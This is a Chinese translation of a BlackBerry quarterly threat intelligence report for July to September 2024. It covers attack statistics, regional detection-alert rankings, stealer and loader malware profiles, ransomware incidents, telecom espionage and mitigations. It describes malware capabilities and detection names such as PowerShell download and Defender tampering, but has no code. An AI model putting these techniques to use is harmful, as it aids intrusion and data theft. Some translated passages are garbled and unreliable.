重要的可操作情报
本报告全面回顾了全球威胁形势，重点是提供可操作的情报，供领导者用于积极主动地保护组织安全。本报告涵盖 2024 年 7 月至 9 月。
BlackBerry®网络安全解决方案阻止了近 100 万次针对美国客户的攻击，识别出8 万个独特的恶意签名，阻止了 43 万次针对商业企业的攻击。
阅读《全球网络攻击》，了解更多信息。
在本季度检测到的600,000 次关键基础设施攻击中，45% 针对金融机构。
在 "关键基础设施"部分了解我们的网络威胁情报 (CTI) 团队的内部和外部调查结果。
基于 PowerShell 的攻击表明，威胁行为者在保持 NALA、亚太地区和欧洲、中东和非洲地区全球技术一致的同时，也进行了区域调整。
了解我们的MDR 团队分析如何揭示不断演变的地区攻击模式以及基于 PowerShell 的威胁在全球的持续存在。
RansomHub目前拥有包括 LockBit 和 ALPHV 在内的主要附属公司，在 2024 年第三季度检测到的勒索软件操作中占了大多数。
在 "威胁行为者 "和 "工具"下阅读更多内容。
新的勒索软件集团Lynx采用了激进的双重勒索策略（将数据盗窃与加密相结合），并正在从北美和澳大利亚向欧洲市场扩张。
阅读我们的 "流行威胁 "部分，了解所有主要操作系统的趋势性威胁。
我们提供了一份增强型安全协议和应对措施清单，以应对不断演变的勒索软件策略，重点是减少暴露和通信安全。
查看 "风险缓解策略"中的列表。
查找应对 Salt Typhoon重点是关键通信基础设施的保护。
探索保护关键通信基础设施的防御战略。
目录
BlackBerry®全球威胁情报报告为 CISO 和决策者提供了重要的洞察力，重点关注与特定行业和地区相关的最新网络安全威胁和挑战。
2024 年，影响网络安全威胁格局的因素众多。全球范围内的重要选举、持续不断的冲突以及因各种争议问题引发的地缘政治紧张局势造成了动荡的环境。这种动荡为全球的恶意行为者和网络威胁组织提供了力量。这些实体利用不确定性和动荡来获取经济利益、开展网络间谍活动、造成伤害或扩大混乱。
全球范围内的网络攻击
黑莓人工智能驱动的网络安全性能
在 2024 年 7 月至 9 月的三个月期间，黑莓的人工智能驱动网络安全解决方案为全球各类客户提供了保护。我们的安全技术挫败了近 200 万次网络攻击，每天记录了超过 3000 个针对我们客户的独特恶意哈希值。
本季度，美国面临的网络攻击数量最多，远远超过其他任何国家。黑莓的网络安全技术阻止了近 100 万次针对美国客户的攻击，其中约 8 万次涉及使用独特的恶意哈希值。
BlackBerry 跟踪这些攻击中使用的独特恶意哈希值的数量与攻击总数的对比。通常，商品或 "现成 "的恶意软件会在更大规模的攻击中被重复使用，从而导致同一二进制文件被多次识别。
独特或新颖的恶意软件通常用于针对性极强的攻击。在这种情况下，威胁方投入大量时间和精力来创建具有特定属性的新恶意软件，旨在通过表面上微小但最终影响巨大的攻击来破坏特定行业、组织或高价值目标（HVT）。亚太地区（APAC）排名第二，欧洲、中东和非洲地区（EMEA）排名第三。
在本报告所述期间，BlackBerry 托管检测和响应 (MDR) 团队的分析揭示了威胁活动的独特区域模式。基于 PowerShell 的攻击成为全球一致的威胁，Base64 编码执行出现在所有地区的前五次检测中 - 在 NALA 地区排名第一，在亚太地区排名第五，在欧洲、中东和非洲地区排名第三。
每个地区还呈现出独特的威胁特征：
- NALA 发现大量系统工具被滥用，其中最受关注的是更名后的 Sysinternals 工具和 LOLBAS（脱离土地的二进制文件和脚本）外壳。
- 亚太地区面临着大量的凭证盗窃企图和防御规避行为，尤其是针对 Windows Defender 的攻击。
- 欧洲、中东和非洲地区显示出多种攻击模式，从 PowerShell 下载命令到用户账户操纵。
网络攻击模式的这种地区差异表明，威胁行为者正在根据地区因素调整其方法，同时在全球范围内保持一些一致的技术。
图 2：按地区分列的五大CylanceMDR 警报。
NALA
第 2 次可能运行了重命名的 Sysinternals 工具
第 3 次：服务启动了 LOLBAS shell
第 4 次：执行远程访问工具执行远程访问工具
第 5 次执行 PowerShell 下载命令
亚太地区
第 2 次： Svchost 计划任务启动 Rundll32
第 3 次通过 PowerShell 篡改 Windows Defender
第 4 次可能通过 DLL 加载滥用 Msiexec
第 5 次可疑的 Base64 编码 PowerShell 执行
欧洲、中东和非洲地区
第 2 个可能滥用 stdout 命令行
第 3 次可疑的 Base64 编码 PowerShell 执行
第 4 个通过 Net 本地组添加创建用户帐户
第 5 页Svchost 计划任务启动 Rundll32
地缘政治分析与评论
十多年前，时任美国国防部长的莱昂-帕内塔（Leon Panetta）曾警告可能会发生 "网络珍珠港事件"，强调美国的关键基础设施可能会受到严重的网络攻击，并将波及整个网络物理世界。虽然他的可怕警告尚未成为现实，但我们对容易受到攻击、利用和操纵的数字技术的依赖却在不断增加。一些人将我们数字化社会所面临的困境形容为 "魔鬼交易"，即为了经济增长、提高生产力和便利而损害安全。
十年前，能够实施复杂网络攻击的主要国家行为者屈指可数。如今，国家和非国家行为者多达数百个。加拿大政府最新发布的《国家网络威胁评估报告》以及英国等其他盟国的网络威胁评估报告都指出，网络不安全状况越来越难以预测，越来越多咄咄逼人的威胁参与者正在采用新技术和新策略来改进和扩大其恶意活动。
这种扩散的影响无处不在。根据全球反诈骗联盟（Global Anti-Scam Alliance）的估计，到 2023 年，全球将有 25.5% 的人口受到网络诈骗的影响。在英国，超过 70% 的大中型企业和近 66% 的高收入慈善机构都遭遇过某种形式的网络安全漏洞。在加拿大，超过三分之二（70%）的加拿大人在过去一年中遭遇过网络安全事件。黑莓自己的分析证实了这些趋势，并强调了针对关键基础设施的网络攻击的增加。
勒索软件被普遍认为是最具破坏性的网络犯罪形式，人们越来越担心 "勒索软件可能使国家而不仅仅是公司陷入瘫痪"。事实上，针对医疗保健行业等关键基础设施的勒索软件攻击正在大幅上升。在美国，卫生与公众服务部报告称，2018 年至 2022 年间，涉及医院勒索软件的大型数据泄露事件增加了 278%。而且，随着勒索软件攻击数量的激增，勒索软件行为者所使用的战术和技术也多种多样。勒索软件团伙现在采用多方面的勒索策略，包括渗出和加密受害者数据，同时还在暗网上维护数据泄漏网站，发布从不法受害者那里窃取的数据。犯罪网络正变得日益复杂。
挑战不仅仅是技术上的。令人担忧的现实是，网络犯罪活动正在对人类福祉产生负面影响。据研究人员记录，勒索软件攻击医院后，院内死亡率增加了 35% 至 41%。其他研究强调了勒索软件攻击如何对邻近的急诊部门产生连带影响，造成严重的业务中断，并对救护车到达时间、治疗等待时间和病人护理产生负面影响。
另一个令人担忧的趋势是出现了与网络犯罪有关的人口贩运行业。根据联合国的记录，2023 年东南亚约有 22 万人被贩运到网络犯罪活动中。这些人面临生命威胁，遭受酷刑和残忍、不人道和有辱人格的待遇或处罚、任意拘留、性暴力、强迫劳动和其他形式的剥削。十多年来，有组织犯罪集团一直在柬埔寨境外开展此类活动，并已扩展至缅甸、泰国、老挝和菲律宾等其他国家。在某些情况下，人们被从巴西和东非贩运到东南亚的这些强迫网络犯罪活动地点。
随着网络威胁的扩散，各国政府和业界正在努力破坏勒索软件生态系统，并加强我们阻止恶意网络行为者的集体能力。2024 年 10 月，黑莓和加拿大公共安全局同意共同担任国际反勒索软件倡议（CRI）公私部门顾问小组主席。黑莓与 CRI 的 68 个成员国一起，致力于加强集体抵御勒索软件的能力，使世界各国政府能够更好地应对勒索软件和其他网络相关威胁的威胁。
各行业的网络攻击情况
BlackBerry 分析师从全球视角转向特定行业，确定了威胁行为者的主要目标。在本报告中，行业部门分为两大类： 关键基础设施 和 商业企业.
黑莓在网络安全和基础设施安全局（CISA）定义的 16 个行业领域收集关键基础设施客户的遥测数据和统计资料。这些行业包括医疗保健、政府、能源、金融和国防。商业企业是指从事商品和服务的生产、分销或销售的企业。这些企业在制造业、零售业和服务业等多个领域开展业务。下图 3 显示了关键基础设施和商业企业的攻击分布和独特哈希值。
图 3：2024 年 4 月至 6 月与 2024 年 7 月至 9 月关键基础设施和商业企业的攻击和独特哈希值分布。
关键基础设施威胁
对于网络犯罪分子来说，关键基础设施可能是一个有利可图的目标。这些行业所拥有的宝贵数据经常在地下市场出售，用于策划未来的攻击或利用这些数据进行间谍活动。最近，针对医疗保健、能源、金融和国防等关键基础设施行业的攻击激增。对于这些行业的组织来说，停机时间代价高昂。由于停机和无法访问关键数据可能会给他们及其客户带来损失，因此他们更有可能支付赎金以迅速恢复系统。
随着越来越多的服务被数字化，越来越多的系统被连接到互联网上，这些行业的组织经常发现自己处于网络犯罪分子的攻击范围之内。这些犯罪集团既有寻求同行认可的新手黑客，也有有组织的民族国家威胁行为者，还有试图给敌人造成混乱的老牌勒索软件集团。这些攻击的影响可能是毁灭性的，会影响国家安全，扰乱基本运作，危及经济稳定甚至人的生命。
黑莓网络安全解决方案，包括 CylanceENDPOINT™ 在本季度挫败了近 600,000 次针对关键基础设施的攻击，其中 45% 的攻击以金融行业为目标。金融业仍然是网络攻击者青睐的目标。
-
黑莓识别并阻止关键基础设施网络威胁
这些都是黑莓在自己的客户群中发现并防范的威胁。
-
蛇键盘记录软件
类型 偷窃者
目标： 粮食生产
地区： 亚太地区
Snake Keylogger（也称作 404 Keylogger 和 KrakenKeylogger）是一款 MaaS，它利用基于订阅的键盘记录器实现了大量功能。该恶意软件可以从互联网浏览器中窃取敏感数据和凭证，还可以记录键盘输入并截取受害者桌面的屏幕截图。
Snake Keylogger最初于 2019 年底在一个俄罗斯黑客论坛上发布，后来变得越来越复杂，其命令与控制 (C2) 基础设施更加多样化，并能够对恶意软件有效载荷进行加密。该恶意软件还可以停用防病毒（AV）服务，使其可以不受阻碍地运行。它的外泄方法异常全面，包括电子邮件、FTP、SMTP、Pastebin（一个文本存储网站）和消息应用程序 Telegram。值得注意的是，Telegram 在 2023 年占俄罗斯互联网总流量的 60% - 80%，在这个互联网网站访问受到严格控制的国家，Telegram提供了几乎完全不受审查的通信环境。
-
GuLoader
类型 下载器
目标： 食品生产、 司法系统
地区： 亚太地区
GuLoader（又称 CloudEyE）是一款著名的下载程序，可传播其他恶意软件。自 2020 年以来，GuLoader 背后的威胁组织增加了反分析技术，使安全服务更难识别系统中是否存在该恶意软件或实施反制措施。GuLoader 通常与其他恶意软件协同工作，即 FormBook、Agent Tesla和Remcos 等信息窃取程序。
-
红线
类型 偷窃者
目标： 医疗保健、公共部门、教育、食品生产
地区：亚太地区
RedLine是一种经常通过 MaaS 平台传播的信息窃取程序。其操作者主要出于经济动机，而非政治或间谍利益，并采用 "散射 "攻击策略，攻击所有行业和地区，似乎并不专注于特定目标。
-
外部来源报告的关键基础设施网络威胁
黑莓研究人员汇编了一份本季度发生的、媒体和其他网络安全组织报道过的近期著名网络攻击事件清单。我们这样做的目的是为关键基础设施的网络威胁状况提供更广阔的视野。
-
7 月份的另一次攻击针对的是 Richland Paris 医院，这是路易斯安那州的一家非营利性医院，为农村社区提供基本的医疗保健服务。这次攻击是由 Dispossessor 勒索软件组织实施的，该组织于 2023 年 12 月首次被发现。Dispossessor 是一个数据中介，而不是传统的勒索软件组织。不同寻常的是，Dispossessor 发布了一段视频，展示了 100 多页敏感的病人信息。今年 8 月，美国联邦调查局（FBI）与当地和国际执法机构合作，宣布他们已经摧毁了 Dispossessor 集团背后的基础设施。
-
8 月下旬，美国各机构发布了一份联合网络安全公告，警告称一个名为 "先锋小猫"（Pioneer Kitten）的与伊朗有关联的组织正与勒索软件组织合作，攻击美国和国外的关键基础设施，包括阿塞拜疆、阿拉伯联合酋长国（阿联酋）和以色列。目标行业包括医疗保健、教育、国防、金融和政府。Pioneer Kitten 使 RansomHouse、ALPHV 和 NoEscape 等组织能够利用防火墙和 VPN 漏洞部署勒索软件。他们还在攻击中使用了 Shodan，这是一个物联网（IoT）搜索引擎，可以找到 "从发电厂、手机、冰箱到 Minecraft 服务器的一切"。(虽然 Shodan 是供专业人士使用的，但其强大的功能也会被网络犯罪分子滥用）。
-
9 月中旬，谷歌研究人员发现了一个名为 UNC2970 的网络间谍组织，据信该组织与朝鲜政府有关联。该组织利用网络钓鱼战术，冒充能源和航空航天领域的几家不同的老牌公司，制作虚假招聘广告，以吸引特定目标。一旦受害者上钩，他们就会收到一个 ZIP 压缩包中的 "职位描述 "PDF 文件。为了打开这个文件，攻击者提供了一个经过恶意修改的 SumatraPDF 版本。该文件被执行后，会启动一个由 BURNBOOK（一个用 C/C++ 制作的恶意软件启动器）协助的执行链，最终部署一个 MISTPEN 后门。MISTPEN 是一个 Notepad++ 插件 binhex.dll 的木马化版本，它被篡改为包含后门，从而入侵目标用户的计算机。
-
9 月下旬，堪萨斯州阿肯色城的一家水处理设施遭到网络攻击，被迫转为人工控制。虽然攻击影响了工厂的控制系统，但水质安全依然完好无损。攻击者无意中关闭了系统，从而将自己锁定，防止了敏感数据的泄露。虽然留下了一张赎金字条，但并未发现与已知威胁组织有任何联系。
商业企业威胁
商业企业行业横跨资本货物、零售和批发贸易等领域，是复杂网络攻击的主要目标。成功的入侵可能会导致网络受损、数据丢失、运营中断、声誉受损和巨大的经济损失。
本季度，BlackBerry 网络安全解决方案阻止了超过 43 万次针对商业企业业务的攻击。下图显示了收到最多攻击企图和独特恶意软件哈希值的行业。
-
黑莓识别并阻止商业企业网络威胁
这些都是黑莓在自己的客户群中发现并防范的威胁。
-
LummaC2
类型 偷窃者
目标： 零售和批发贸易、商业和专业服务
地区： 亚太地区, NALA
LummaC2 （又称 LummaC2 Stealer）于 2022 年 8 月首次被发现，它是一个用 C 编程语言编写的信息窃取程序，以商业企业和关键基础设施为目标。它专注于窃取敏感数据，通常通过俄罗斯地下网络犯罪论坛和 Telegram 群组进行推广和传播。这种强大的信息窃取程序以 MaaS 的方式运行，通常依靠木马和电子邮件垃圾邮件进行传播。
-
偷窃者C
类型 偷窃者
目标： 资本货物、商业和专业服务
地区： 亚太地区, NALA
StealerC 是一个基于 C 语言的信息窃取程序，旨在从各种程序、网络浏览器和电子邮件客户端窃取敏感数据，然后将这些私人信息渗透回攻击者。该恶意软件于 2023 年首次被发现，它可以向受害者设备投放更多恶意软件有效载荷。
-
GuLoader
类型 下载器
目标：零售和批发贸易、商业和专业服务
地区：亚太地区, NALA
GuLoader（又称 CloudEyE）是一种传播恶意软件的著名下载器。GuLoader 在 2020 年首次被发现，它的反分析技术增加了安全团队识别攻击或制定对策的难度。GuLoader 通常与其他恶意软件协同工作，即 FormBook、Agent Tesla 和 Remcos 等信息窃取程序。
-
红线
类型 偷窃者
目标：资本货物、耐用消费品和服装、商业和专业服务
地区：亚太地区, NALA
RedLine 是一种广泛传播的恶意软件信息窃取程序，于 2020 年 3 月首次被发现，通常作为 MaaS 出售。传播该恶意软件的威胁组织似乎是为了经济利益，而不是政治、数据破坏或间谍活动。这就是为什么 RedLine 不断出现在我们的雷达上，并积极瞄准异常广泛的行业和地理区域。
-
雷姆科斯
类型远程访问
目标：零售和批发、商业和专业服务
地区：亚太地区, NALA
Remcos 是远程控制和监视（Remote Control and Surveillance）的简称，是一种商业级远程访问木马（RAT），用于远程控制计算机或设备。虽然被宣传为合法软件，但它经常被滥用来非法访问受害者的机器或网络。
-
外部来源报告的商业企业网络威胁
黑莓研究人员汇编了一份由媒体和其他网络安全组织报道的近期值得注意的网络攻击事件清单，为商业企业的网络威胁状况提供了一个更广泛的视角。
-
7 月下旬，宾夕法尼亚州的奥德赛健身中心成为Play 勒索软件组织（又称 PlayCrypt）的攻击目标。该网络犯罪集团在全球范围内发动了 300 多起勒索软件攻击，他们采用了标志性的双重勒索方法，在窃取敏感数据后加密了健身中心的系统。
-
今年 9 月，比利时在线时尚零售商 LolaLiza遭到 BlackSuit 勒索软件操作员的攻击，他们获得了未经授权的数据库访问权限。这次攻击揭示了没有实体店的在线零售商所面临的风险，迫使企业主在支付赎金（希望）重新获得网站控制权或从头开始重建服务之间做出选择。这也凸显了定期备份客户数据库等重要数据的重要性。
-
9 月底，印度电子产品零售商 Poorvika Mobiles成为 KILLSEC 组织的攻击目标。该漏洞暴露了大量客户数据，包括姓名、地址、电话号码、税号、产品交付详情、发票号码、交易金额和税务文件。
-
美国枪支分销商 AmChar 于 9 月底成为 Cactus 勒索软件的受害者。这次攻击泄露的数据包括数据库备份、员工文件、公司数据和合同、客户信息和公司通信。安全研究人员认为，攻击者利用 VPN 漏洞入侵了 AmChar 的网络。攻击者随后将信息发布到暗网上，给客户和员工带来了安全风险。
通信安全：威胁与缓解措施
由于现代电信基础设施几乎被普遍使用，它现在面临着前所未有的一系列针对其基本操作和数据流的复杂威胁。从进行大规模间谍活动的民族国家行为者到提供 "拦截即服务 "的网络犯罪企业，这些威胁利用了各国公共电信网络在全球连通性和安全性之间固有的权衡。
随着企业越来越依赖移动和数字通信来开展敏感业务，这些网络的安全漏洞已成为关键漏洞，有可能暴露竞争优势、战略计划和机密信息。最近一连串的电信供应商漏洞事件表明，任何组织都不能仅仅因为使用了标准的运营商服务，就认为自己的通信是安全的。
本季度早些时候，美国电话电报公司（AT&T）披露了一起重大安全漏洞事件，威胁者在较长时间内泄露了其手机用户的通话和短信记录；我们现在知道，有多个电信组织被渗透。一些美国领导人称其为 "我国历史上最严重的电信漏洞"。AT&T 的泄密事件意义重大，因为它不仅影响到 AT&T 的用户，还影响到全球任何在受影响期间与 AT&T 客户进行过通信的人。被泄露的数据包括有潜在价值的元数据，涉及通信模式、通话时间和用户之间的关系。
在本节中，我们将探讨威胁通信基础设施的各类实体、它们使用的策略以及组织为保护数据可以采取的缓解措施。
威胁行动者
民族国家行为者对国际电信安全构成重大威胁，最近与中国政府有关联的攻击者开展了大规模网络间谍活动就是明证。这些老练的攻击者以主要电信公司为目标，获取包括美国总统候选人在内的知名人士的手机数据。
美国政府官员认为，一个名为Salt Typhoon 的威胁行为者与中国国家安全部关系密切，是电信渗透活动的幕后黑手。他们的行动影响了包括 Verizon、AT&T 和 T-Mobile 在内的多家主要运营商，调查人员发现他们在这些网络中潜伏了一年多仍未被发现。
随着时间的推移，犯罪实体已发展到在电信部门提供高度专业化的攻击服务。其中包括提供 "呼叫拦截即服务 "和运营 "窃听即服务 "平台的组织，其服务可在互联网上随时购买。一些威胁行为者已开发出在终端用户不知情的情况下重定向和拦截任何电话号码的手机连接的能力。
电信部门还面临着来自对手的威胁，他们试图通过利用通信手段获取优势。这些行为者以高知名度的个人和组织为目标，利用截获的数据进行勒索或暴露机密关系，以破坏公众对目标个人的信任。尤其令人担忧的是，他们有能力识别并可能暴露那些试图避开公众视线的政治候选人的高调支持者，或那些人身安全依赖于匿名的个人，如记者、新闻记者和政治活动家。
已查明的威胁
电信网络固有的漏洞可能会使组织面临复杂的互连威胁网络。虽然公共电信网络在提供全球可及性方面表现出色，但这种可及性伴随着恶意行为者可以（而且经常）利用的安全权衡。
从直接通信拦截到复杂的元数据分析，这些威胁不仅针对通信内容，还针对通信所揭示的模式和关系。最近发生在主要电信供应商身上的泄密事件表明，这些威胁不仅仅是理论上的，而是对雇主与雇员之间的保密性、竞争优势甚至国家安全构成了严重威胁。其中一些风险包括
通信拦截： 威胁行为者可以拦截音频/视频通话和短信，从而实时窃听通信内容。这些漏洞给标准电话带来的许多风险也存在于用于语音通话和短信的免费应用程序中。
元数据开发： 通过元数据开发，威胁行动者收集并分析通话详细记录 (CDR) 和信息详细记录 (MDR)。这些数据使他们能够构建详细的联系关系图，并分析包括频率、时间和通话时长在内的通信模式。对这些元数据的实时可见性使威胁行动者能够跟踪单个电信用户并识别可利用的通信模式。
黑莓威胁研究和情报副总裁 Ismael Valenzuela 解释说："电信元数据可能是网络犯罪分子的金矿。即使通话和短信内容没有被泄露，但这些通话背后的背景知识，如一个人给谁打电话、通话频率和时间，都可以很容易地被武器化。威胁行动者可以大概知道你住在哪里、在哪里工作、最常和谁通话，甚至知道你是否拨打过任何潜在的敏感号码，如医疗保健提供商。
基于身份的攻击： 公共网络中缺乏身份验证，使得身份和电话号码欺骗成为普遍现象，几乎无法防范。威胁者可以利用窃取的元数据，通过欺骗已经与之通信的号码，专门针对电信用户实施攻击。那些接听电话的人很可能会接到骚扰电话，但在某些情况下，攻击者可能会使用深层语音生成器等新技术来设计复杂的身份诈骗。
使用生成式人工智能克隆真人的声音被称为音频深度伪造。这类攻击在企业界迅速发展，因为攻击者实际上依赖于员工对熟人（如老板）声音的信任，并滥用这种信任实施高额金融诈骗。
基础设施的脆弱性： 现代电信基础设施面临着特别严峻的挑战。要解决这些问题，往往需要全面更换系统组件，这可能会导致服务中断，并需要电信供应商投入大量资金。
- 传统系统组件：电信主干网的关键部分仍然使用 20 世纪 70 年代和 80 年代的系统，这些系统在现代网络安全保护措施出现之前就已存在，并且主要是为固定电话业务设计的。为了升级这些老旧组件，使其符合当前的安全措施，需要通过安全中继网络进行通信路由，并实施端到端加密，以保护数据内容及其传输模式。
- 网络接入点：运营商互联的蜂窝漫游协议存在固有的弱点，允许恶意行为者重定向和拦截蜂窝连接。包括 AT&T、Verizon 和 T-Mobile 在内的所有主要运营商都存在这一漏洞，正如Salt Typhoon 成功利用多个供应商的网络节点所证明的那样。
- 认证系统： 一些关键电信基础设施组件明显缺乏多因素身份验证等基本安全控制。这一缺陷使得威胁行为者在初次进入时就能保持持续访问。
- 监控系统：专为合法监控行动设计的 "合法拦截 "基础设施可能会遭到破坏，从而泄露有关正在进行的调查和监控目标的敏感行动数据。
- 数据中转站： 互联网服务提供商和电信网络之间的互联产生了更多的漏洞点，未加密的电子邮件和其他通信都有可能被截获。
- 全球路由基础设施： 电信网络的基本设计将全球连接性置于安全之上，从而在提供商之间和跨地区的电话和数据路由方式上造成固有的漏洞。
情报收集： 电信漏洞极大地帮助了威胁行动者的情报收集能力。威胁行动者可以利用泄露的信息对特定用户进行实时监控，并在某些情况下识别隐藏的关系。在政治活动中，这种监视使他们能够发现试图维护隐私和暴露机密关系的高调支持者。这种情报可以揭示更多的通信模式，这些模式也可能以意想不到的方式被利用。
"巴伦苏埃拉补充说："你可能觉得自己没有任何攻击者想要的东西，但只要知道你最常给谁打电话，知道你最有可能信任谁并因此接听谁的电话，网络犯罪分子就能更容易地实施众多电话诈骗中的任何一种，包括那些依靠深度伪造音频来欺骗你认识的人的声音的诈骗。
二次威胁： 利用电信漏洞可能会导致次生威胁。这些威胁包括勒索企图，特别是当保密关系暴露时。此外，被泄露的信息还可用于竞争情报收集和间谍活动。如果高知名度的个人、实体或组织受到威胁，甚至会影响民主进程并威胁国家安全。
黑莓公司副总裁大卫-怀斯曼（David Wiseman）表示 SecuSUITE®认为，"无论是在市场上还是在战场上，具有竞争优势的秘密都很容易暴露。公共电信网络主要是为可访问性而设计的，这往往会导致安全隐患"。
包括加密信息平台在内的公共网络的一个重要问题是其开放性，几乎任何人都可以加入。怀斯曼解释说："在 Signal 或 WhatsApp 等平台上，用户可以自行注册，这就造成了身份欺骗、欺诈和深度伪造等问题。自我注册的开放系统本身就是高风险的。
缓解措施
为了应对不断变化的电信威胁，企业必须实施全面的安全措施，而不仅仅是基本的加密。虽然消费级通信工具可提供一定程度的保护，但它们无法应对针对信息内容和元数据的复杂攻击。
有效的防御需要多层次的方法，将技术解决方案与战略协议和人员警惕性结合起来。以下战略为各组织提供了一个框架，以保护其敏感通信免受民族国家行为体、犯罪实体和其他试图利用电信漏洞的威胁行为体的攻击。
身份验证和身份验证： 多因素身份验证（MFA）和身份验证协议是防范未经授权访问和社交工程攻击的关键第一道防线。
- 策略：实施强大的身份验证系统，同时培训用户通过其他或辅助渠道验证意外通信。
- 举例说明：当高管在正常工作时间之外收到董事会成员的紧急信息，并提出不同寻常的要求时，他们会按照协议，通过事先建立的单独沟通渠道进行核实。
链接和信息安全： 社会工程攻击利用人们对熟悉电话号码和信息来源的信任来传播恶意内容。
- 策略：制定严格的链接处理协议，并实施在发送前扫描和验证信息内容的系统。
- 举例说明：一家银行机构对外部链接实施了禁止点击政策，要求所有重要通信都在自己的安全平台内进行。
基础设施控制： 组织需要对其通信渠道进行全面监督，以防止未经授权的访问并维护安全标准。
- 策略：部署通信系统，由组织对基础设施、用户授权和安全协议进行全面控制。
- 举例说明：一家国防承包商实施了一套闭环通信系统，所有用户必须事先获得授权，所有通信都通过受监控的安全渠道进行。
元数据保护： 即使信息内容是安全的，通信模式和元数据也可能泄露敏感信息。
- 策略： 加密和隧道传输所有元数据，包括呼叫者信息、通信时长和用户之间的关系模式。
- 举例说明：一家金融机构不仅要对通信进行加密，还要对高管之间的通信模式进行加密，以防止竞争对手摸清他们的合并讨论情况。
增强移动安全： 移动通信带来了独特的安全挑战，需要专门的加密解决方案。
- 策略：对所有移动通信实施经认证的加密验证，以防止呼叫欺骗、欺诈和未经授权的访问。
- 举例说明：某政府机构部署了具有内置加密身份验证功能的移动设备，确保所有通信无论在何处都能得到验证和安全。
数据生命周期控制： 传统的通信系统一旦共享数据，就会放弃对数据的控制，造成永久性的安全漏洞。
- 策略：保持组织对所有共享数据的所有权，并能随时撤销访问权限或删除内容。
- 举例说明：当一位高管离开一家财富 100 强企业时，企业会立即取消对所有以前共享文档和通信的访问权限。
社会工程防御： 人类的基本行为往往是通信系统中最大的安全漏洞。
- 策略：在自动系统的支持下，实施全面的培训计划，以检测和防止社交工程企图。
- 举例说明：某组织的安全通信平台会自动标记任何异常通信模式或请求，并要求进行额外验证。
风险评估一体化： 安全措施必须符合特定的组织风险和监管要求。
- 策略：定期评估通信安全风险，并根据新出现的威胁和合规需求调整协议。
- 举例说明：一家医疗服务提供商每季度对其通信安全措施进行一次评估，并根据新的威胁情报和监管变化更新协议。
整体安全整合： 必须将通信安全纳入更广泛的网络安全战略。
- 策略：确保安全通信与其他安全措施和协议协同工作。
- 实例：一家制造企业将其安全通信平台与访问控制和数据丢失防护系统整合在一起，创建了一个统一的安全生态系统。
临时数据架构： 持久数据存储会增加漏洞和未经授权访问的可能性。
- 策略：实施通过临时存储和自动清除协议最大限度减少数据持久性的系统。
- 举例说明：一家法律公司的通信平台在确认向所有授权收件人发送信息后，会立即自动从服务器中删除信息。
阅读我们的博客，进一步了解威胁行为者如何使用和滥用从移动通信中窃取的元数据。
深度伪造的危险
美国联邦调查局（FBI）最近发布了一份警告，称网络犯罪分子利用人工智能生成技术实施大规模欺诈，针对商业企业和金融组织精心设计骗局。该警告称，深度伪造视频和语音通话以及人工智能生成的个人资料图像可能会被用于雇佣诈骗，例如朝鲜利用间谍冒充远程工人渗透西方 IT 公司的活动。
这种新近扩大的网络攻击范围对各种规模的商业企业都是一个非常现实的威胁，预计到 2027 年损失将达到惊人的 400 亿美元。正如黑莓公司产品工程和数据科学高级副总裁 Shiladitya Sircar 最近在 Daniel Miessler 的无监督学习播客中解释的那样："这种生成式人工智能对手利用所有这些多模态信息创造了新的攻击载体，而这些攻击载体是无人能预见到的。它创造了一个更复杂、更细微的威胁环境，优先考虑身份驱动型攻击，而且只会越来越好。"
这对企业的影响是深远的。当利益相关者无法再信任高管通信的真实性时，从市场动向公告到内部战略指令，业务的方方面面都会受到影响。银行和金融服务部门已成为主要目标，在维护安全通信和交易验证流程方面面临前所未有的挑战。正如 Sircar 所说："这些深度伪造最令人担忧的方面是有可能削弱信任--对合法、真实系统的信任。
具有前瞻性思维的企业已经在新出现的监管要求前做好了准备，包括美国的《禁止人工智能欺诈法案》和加拿大关于非自愿媒体的立法。这些监管方面的发展预示着企业必须在通信安全和身份验证方面做出重大转变。
随着深度语音和生成式人工智能语音篡改软件的改进，这些工具很可能会在越来越多的针对性攻击中被更频繁地使用。如果您想了解有关深度伪造的更多信息，包括可以用来帮助保护您的组织的缓解措施，可以在这里下载我们关于深度伪造的白皮书，或在无监督学习播客中收听我们与 Shiladitya Sircar 的完整讨论。
如果您认为自己是深度伪造欺诈骗局的受害者，可以向联邦调查局互联网犯罪投诉中心（www.ic3.gov）举报。
执法风采
历史背景：勒索软件集团的崛起
自 1989 年首次发布艾滋病木马攻击记录以来，勒索软件生态系统已经发生了重大演变。在 2010 年加密货币出现之前，勒索软件的演变是渐进的。然而，比特币时代刺激了网络威胁的快速增长，尤其是在过去的 50 年里。
2019 年，MAZE、Ryuk和Sodinokibi/REvil等组织通过加密计算机系统和网络并要求支付解密密钥，造成了严重破坏。这在当时是一种有效的攻击策略，因为很少有组织会维护系统备份，更少的组织会制定网络事件响应计划。
不断演变的勒索软件威胁
在此期间，人们对勒索软件操作的看法与传统的有组织犯罪集团很相似：技术娴熟的网络罪犯为了共同的事业或目的走到一起。从那时起，勒索软件团伙已成为适应性很强的对手，而且随着网络安全实践的改进，勒索软件操作员的战术、技术和程序（TTP）也在不断改进。
为了确保经济收益，勒索软件团伙从单一勒索（仅对数据加密）转向双重勒索策略，除了要求支付解密密钥的赎金外，还要求防止被盗数据在暗网上出售。
勒索软件业务的数量也在稳步增长，老的勒索软件团伙改头换面，新的勒索软件团伙进入生态系统，新的商业模式不断涌现。勒索软件即服务（RaaS）以及更快的加密方法、更好的混淆技术和针对多种操作系统的能力是过去几年中取得的一些显著进步。
虽然有些勒索软件继续对文件和系统进行加密，但也有一些勒索软件选择放弃这一步骤，转而采用只进行渗透的模式。这种方法的改变很可能是对采用更好的网络安全实践以及更多地使用系统备份和灾难恢复服务的一种回应。
勒索的第三个要素
最近，勒索软件行动又增加了第三个勒索要素。与仅仅窃取数据并威胁将其发布到网上不同的是，一些勒索软件正在花时间分析窃取的数据，并将其武器化，以增加对拒绝付款的受害者的压力。这种策略可能涉及共享目标首席执行官和企业主的详细联系方式或"诽谤 "其家庭成员，以及威胁向当局报告在被盗数据中发现的任何有关非法商业活动的信息。如果不满足赎金要求，勒索软件操作员可能会威胁联系客户或顾客，甚至发动更多攻击。
此外，NC3 还出现了大量新的勒索软件变种。勒索软件生态系统似乎由不同的个人组成，他们的技能组合包括社会工程学、初始访问中介、高级加密、恶意软件开发、谈判甚至公共关系。勒索软件生态系统是一个复杂的互连网络。打击勒索软件的运行需要同样复杂的多学科方法。
加拿大十大勒索软件威胁
